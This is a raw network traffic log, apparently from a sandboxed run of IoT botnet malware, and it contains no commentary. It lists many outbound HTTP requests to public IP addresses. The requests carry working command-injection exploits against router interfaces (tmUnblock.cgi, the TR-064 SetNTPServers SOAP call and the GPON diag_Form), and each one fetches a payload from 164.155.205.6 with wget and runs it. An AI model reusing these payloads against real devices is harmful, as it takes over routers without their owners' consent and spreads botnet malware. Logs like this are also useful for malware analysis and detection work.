Mar 2, 2024 12:38:28.890952110 CET	109	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
816	192.168.2.23	55294	172.65.202.255	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:40.981928110 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:37:41.275259972 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:37:41.567332983 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
817	192.168.2.23	54616	98.165.141.116	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:41.107708931 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:37:41.271859884 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Sat, 02 Mar 2024 11:37:41 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
818	192.168.2.23	50182	32.219.239.90	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:41.643482924 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
819	192.168.2.23	58372	186.6.81.183	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:41.731539011 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:41.894711971 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
820	192.168.2.23	33472	87.115.124.49	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:41.731564999 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
821	192.168.2.23	50184	32.219.239.90	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:41.743580103 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:42.072746992 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:42.398673058 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
822	192.168.2.23	37854	172.67.163.62	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:41.881232977 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
823	192.168.2.23	58404	186.6.81.183	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:41.883560896 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:42.051266909 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
824	192.168.2.23	38642	71.36.126.120	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:41.896938086 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:42.072957039 CET	113	IN	HTTP/1.1 400 Bad Request Date: Sat 2 Mar 2024 11:37:41 UTC Server: lighttpd Content-Length: 0
Mar 2, 2024 12:37:44.751235008 CET	113	IN	HTTP/1.1 400 Bad Request Date: Sat 2 Mar 2024 11:37:41 UTC Server: lighttpd Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
825	192.168.2.23	33504	87.115.124.49	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:41.913279057 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
826	192.168.2.23	34364	2.161.39.147	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.020772934 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
827	192.168.2.23	34546	109.186.205.58	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.020782948 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
828	192.168.2.23	49480	210.11.234.183	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.020807028 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
829	192.168.2.23	38096	212.4.10.141	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.020819902 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
830	192.168.2.23	55094	212.138.222.60	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.020844936 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
831	192.168.2.23	33660	2.121.9.122	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.020850897 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
832	192.168.2.23	51624	2.87.39.94	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.020859957 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
833	192.168.2.23	55562	79.243.16.252	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.020865917 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
834	192.168.2.23	45732	2.76.113.170	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.020878077 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
835	192.168.2.23	47796	42.226.192.251	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.020905018 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
836	192.168.2.23	44748	42.18.217.90	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.020920038 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
837	192.168.2.23	36068	178.100.91.240	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.020919085 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
838	192.168.2.23	48010	212.50.116.118	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.020919085 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
839	192.168.2.23	35924	79.24.50.136	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.020944118 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: 